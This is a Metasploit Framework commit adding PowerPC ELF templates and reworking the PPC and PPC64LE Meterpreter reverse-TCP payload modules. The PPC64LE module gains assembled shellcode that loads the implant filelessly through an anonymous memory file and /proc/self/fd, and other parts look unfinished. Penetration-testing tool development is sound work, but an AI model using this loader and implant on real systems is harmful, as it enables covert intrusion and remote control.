Skip to content

Commit 44e1db2

Browse files
msutovsky-r7msutovsky-r7
committed
PPC64 shellcode added, adding PPC initial work
1 parent 4963d04 commit 44e1db2

File tree

9 files changed

+136
-35
lines changed

9 files changed

+136
-35
lines changed

‎data/templates/src/elf/exe/elf_ppc64le_template.s‎

Lines changed: 11 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -10,9 +10,9 @@ ehdr: ; Elf32_Ehdr
1010
dw 2 ; e_type = ET_EXEC for an executable
1111
dw 0x15 ; e_machine = PowerPC
1212
dd 0 ; e_version
13-
dd _start ; e_entry
14-
dd phdr - $$ ; e_phoff
15-
dd 0 ; e_shoff
13+
dq _start ; e_entry
14+
dq phdr - $$ ; e_phoff
15+
dq 0 ; e_shoff
1616
dd 0 ; e_flags
1717
dw ehdrsize ; e_ehsize
1818
dw phdrsize ; e_phentsize
@@ -26,14 +26,14 @@ ehdrsize equ $ - ehdr
2626
phdr: ; Elf32_Phdr
2727
dd 1 ; p_type = PT_LOAD
2828
dd 7 ; p_flags = rwx
29-
dd 0 ; p_offset
30-
dd $$ ; p_vaddr
31-
dd $$ ; p_paddr
32-
dd 0xDEADBEEF ; p_filesz
33-
dd 0xDEADBEEF ; p_memsz
34-
dd 0x1000 ; p_align
29+
dq 0 ; p_offset
30+
dq $$ ; p_vaddr
31+
dq $$ ; p_paddr
32+
dq 0xDEADBEEF ; p_filesz
33+
dq 0xDEADBEEF ; p_memsz
34+
dq 0x1000 ; p_align
3535

3636
phdrsize equ $ - phdr
37-
global _start
38-
_start:
3937

38+
_start:
39+
dq _start+0x8

‎data/templates/src/elf/exe/elf_ppc_template.s‎

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
BITS 32
2+
org 0x8000
3+
ehdr: ; Elf32_Ehdr
4+
db 0x7F, "ELF", 1, 2, 1, 0 ; e_ident
5+
db 0, 0, 0, 0, 0, 0, 0, 0 ;
6+
dw 0x0200 ; e_type = ET_EXEC for an executable
7+
dw 0x1400 ; e_machine = AARCH64
8+
dd 0x10000000 ; e_version
9+
dd 0x00008054 ; e_entry
10+
dd 0x34000000 ; e_phoff
11+
dd 0 ; e_shoff
12+
dd 0 ; e_flags
13+
dw 0x3400 ; e_ehsize
14+
dw 0x2000 ; e_phentsize
15+
dw 0x0100 ; e_phnum
16+
dw 0 ; e_shentsize
17+
dw 0 ; e_shnum
18+
dw 0 ; e_shstrndx
19+
20+
ehdrsize equ $ - ehdr
21+
22+
phdr: ; Elf32_Phdr
23+
dd 0x01000000 ; p_type = PT_LOAD
24+
dd 0 ; p_offset
25+
dd 0x00800000 ; p_vaddr
26+
dd 0x00800000 ; p_paddr
27+
dd 0xdeadbeef ; p_filesz
28+
dd 0xdeadbeef ; p_memsz
29+
dd 0x07000000 ; p_flags = rwx
30+
dd 0x00010000 ; p_align
31+
32+
phdrsize equ $ - phdr
33+
34+
_start:
35+

‎data/templates/src/elf/exe/template_ppc64le_linux.bin‎

-84 Bytes
Binary file not shown.

‎data/templates/src/elf/exe/template_ppc_linux.bin‎

-88 Bytes
Binary file not shown.

‎data/templates/template_ppc64le_linux.bin‎

128 Bytes
Binary file not shown.

‎data/templates/template_ppc_linux.bin‎

84 Bytes
Binary file not shown.

‎lib/msf/util/exe.rb‎

Lines changed: 27 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1232,7 +1232,28 @@ def self.to_linux_aarch64_elf(framework, code, opts = {})
12321232
to_exe_elf(framework, opts, "template_aarch64_linux.bin", code)
12331233
end
12341234

1235-
# self.to_linux_mipsle_elf
1235+
# self.to_linux_ppc64le_elf
1236+
#
1237+
# @param framework [Msf::Framework]
1238+
# @param code [String]
1239+
# @param opts [Hash]
1240+
# @option [String] :template
1241+
# @return [String] Returns an elf
1242+
def self.to_linux_ppc64le_elf(framework, code, opts = {})
1243+
to_exe_elf(framework, opts, "template_ppc64le_linux.bin", code)
1244+
end
1245+
1246+
# self.to_linux_ppc_elf
1247+
#
1248+
# @param framework [Msf::Framework]
1249+
# @param code [String]
1250+
# @param opts [Hash]
1251+
# @option [String] :template
1252+
# @return [String] Returns an elf
1253+
def self.to_linux_ppc_elf(framework, code, opts = {})
1254+
to_exe_elf(framework, opts, "template_ppc_linux.bin", code)
1255+
end
1256+
# self.to_linux_mipsle_elf
12361257
# Little Endian
12371258
# @param framework [Msf::Framework]
12381259
# @param code [String]
@@ -2170,6 +2191,7 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
21702191
if elf? code
21712192
return code
21722193
end
2194+
puts arch
21732195
if !plat || plat.index(Msf::Module::Platform::Linux)
21742196
case arch
21752197
when ARCH_X86,nil
@@ -2188,6 +2210,10 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
21882210
to_linux_riscv32le_elf(framework, code, exeopts)
21892211
when ARCH_RISCV64LE
21902212
to_linux_riscv64le_elf(framework, code, exeopts)
2213+
when ARCH_PPC64LE
2214+
to_linux_ppc64le_elf(framework, code, exeopts)
2215+
when ARCH_PPC
2216+
to_linux_ppc_elf(framework, code, exeopts)
21912217
end
21922218
elsif plat && plat.index(Msf::Module::Platform::BSD)
21932219
case arch

‎modules/payloads/singles/linux/ppc/meterpreter_reverse_tcp.rb‎

Lines changed: 17 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,8 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
# Module generated by tools/modules/generate_mettle_payloads.rb
87
module MetasploitModule
9-
108
CachedSize = 1213932
119

1210
include Msf::Payload::Single
@@ -17,18 +15,18 @@ def initialize(info = {})
1715
super(
1816
update_info(
1917
info,
20-
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
21-
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
22-
'Author' => [
18+
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
19+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
20+
'Author' => [
2321
'Adam Cammack <adam_cammack[at]rapid7.com>',
2422
'Brent Cook <brent_cook[at]rapid7.com>',
2523
'timwr'
2624
],
27-
'Platform' => 'linux',
28-
'Arch' => ARCH_PPC,
29-
'License' => MSF_LICENSE,
30-
'Handler' => Msf::Handler::ReverseTcp,
31-
'Session' => Msf::Sessions::Meterpreter_ppc_Linux
25+
'Platform' => 'linux',
26+
'Arch' => ARCH_PPC,
27+
'License' => MSF_LICENSE,
28+
'Handler' => Msf::Handler::ReverseTcp,
29+
'Session' => Msf::Sessions::Meterpreter_ppc_Linux
3230
)
3331
)
3432
end
@@ -38,6 +36,14 @@ def generate(_opts = {})
3836
scheme: 'tcp',
3937
stageless: true
4038
}.merge(mettle_logging_config)
41-
MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec
39+
in_memory_loader = [
40+
0x7c832b78, # 0x1000: or r3, r4, r5 0x7c832b78
41+
0x7c832b78, # 0x1004: or r3, r4, r5 0x7c832b78
42+
0x7c832b78, # 0x1008: or r3, r4, r5 0x7c832b78
43+
0x48000004, # 0x100c: b 0x1010 0x48000004
44+
0x7de802a6, # 0x1010: mflr r15 0x7de802a6
45+
].pack('V*')
46+
payload = MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config(opts)).to_binary :exec
47+
in_memory_loader + payload
4248
end
4349
end

‎modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb‎

Lines changed: 46 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,8 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
# Module generated by tools/modules/generate_mettle_payloads.rb
87
module MetasploitModule
9-
108
CachedSize = 1238560
119

1210
include Msf::Payload::Single
@@ -17,18 +15,18 @@ def initialize(info = {})
1715
super(
1816
update_info(
1917
info,
20-
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
21-
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
22-
'Author' => [
18+
'Name' => 'Linux Meterpreter, Reverse TCP Inline',
19+
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
20+
'Author' => [
2321
'Adam Cammack <adam_cammack[at]rapid7.com>',
2422
'Brent Cook <brent_cook[at]rapid7.com>',
2523
'timwr'
2624
],
27-
'Platform' => 'linux',
28-
'Arch' => ARCH_PPC64LE,
29-
'License' => MSF_LICENSE,
30-
'Handler' => Msf::Handler::ReverseTcp,
31-
'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux
25+
'Platform' => 'linux',
26+
'Arch' => ARCH_PPC64LE,
27+
'License' => MSF_LICENSE,
28+
'Handler' => Msf::Handler::ReverseTcp,
29+
'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux
3230
)
3331
)
3432
end
@@ -39,7 +37,43 @@ def generate(_opts = {})
3937
stageless: true
4038
}.merge(mettle_logging_config)
4139
payload = MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec
42-
in_memory_loader_asm = [0x1422667c].pack("V*")
43-
in_memory_loader_asm + payload
40+
in_memory_loader_asm = [
41+
0x4800007c, # 0x1000: b 0x107c 0x4800007c
42+
0x7de802a6, # 0x1004: mflr r15 0x7de802a6
43+
0x39c00000, # 0x1008: li r14, 0 0x39c00000
44+
0x95c10000, # 0x100c: stwu r14, 0(r1) 0x95c10000
45+
0x7c230b78, # 0x1010: mr r3, r1 0x7c230b78
46+
0x38800000, # 0x1014: li r4, 0 0x38800000
47+
0x38000168, # 0x1018: li r0, 0x168 0x38000168
48+
0x44000002, # 0x101c: sc 0x44000002
49+
0x7df07b78, # 0x1020: mr r16, r15 0x7df07b78
50+
0x7c711b78, # 0x1024: mr r17, r3 0x7c711b78
51+
0x80af0000, # 0x1028: lwz r5, 0(r15) 0x80af0000
52+
0x39ef0022, # 0x102c: addi r15, r15, 0x22 0x39ef0022
53+
0x7de47b78, # 0x1030: mr r4, r15 0x7de47b78
54+
0x38000004, # 0x1034: li r0, 4 0x38000004
55+
0x44000002, # 0x1038: sc 0x44000002
56+
0x3a100020, # 0x103c: addi r16, r16, 0x20 0x3a100020
57+
0x3a40000a, # 0x1040: li r18, 0xa 0x3a40000a
58+
0x7e7193d6, # 0x1044: divw r19, r17, r18 0x7e7193d6
59+
0x7e9391d6, # 0x1048: mullw r20, r19, r18 0x7e9391d6
60+
0x7eb48850, # 0x104c: subf r21, r20, r17 0x7eb48850
61+
0x3ab50030, # 0x1050: addi r21, r21, 0x30 0x3ab50030
62+
0x7e719b78, # 0x1054: mr r17, r19 0x7e719b78
63+
0x96b0ffff, # 0x1058: stwu r21, -1(r16) 0x96b0ffff
64+
0x2c110000, # 0x105c: cmpwi r17, 0 0x2c110000
65+
0x4082ffe4, # 0x1060: bne 0x1044 0x4082ffe4
66+
0x39efffe2, # 0x1064: addi r15, r15, -0x1e 0x39efffe2
67+
0x7de37b78, # 0x1068: mr r3, r15 0x7de37b78
68+
0x7ca52a78, # 0x106c: xor r5, r5, r5 0x7ca52a78
69+
0x7c842278, # 0x1070: xor r4, r4, r4 0x7c842278
70+
0x3800000b, # 0x1074: li r0, 0xb 0x3800000b
71+
0x44000002, # 0x1078: sc 0x44000002
72+
0x4bffff89, # 0x107c: bl 0x1004 0x4bffff89
73+
74+
payload.length
75+
].pack('V*')
76+
fd_path = '/proc/self/fd/'.bytes.pack('C*') + "\x2f" * 14 + "\x00" * 2
77+
in_memory_loader_asm + fd_path + payload
4478
end
4579
end

0 commit comments

Comments
 (0)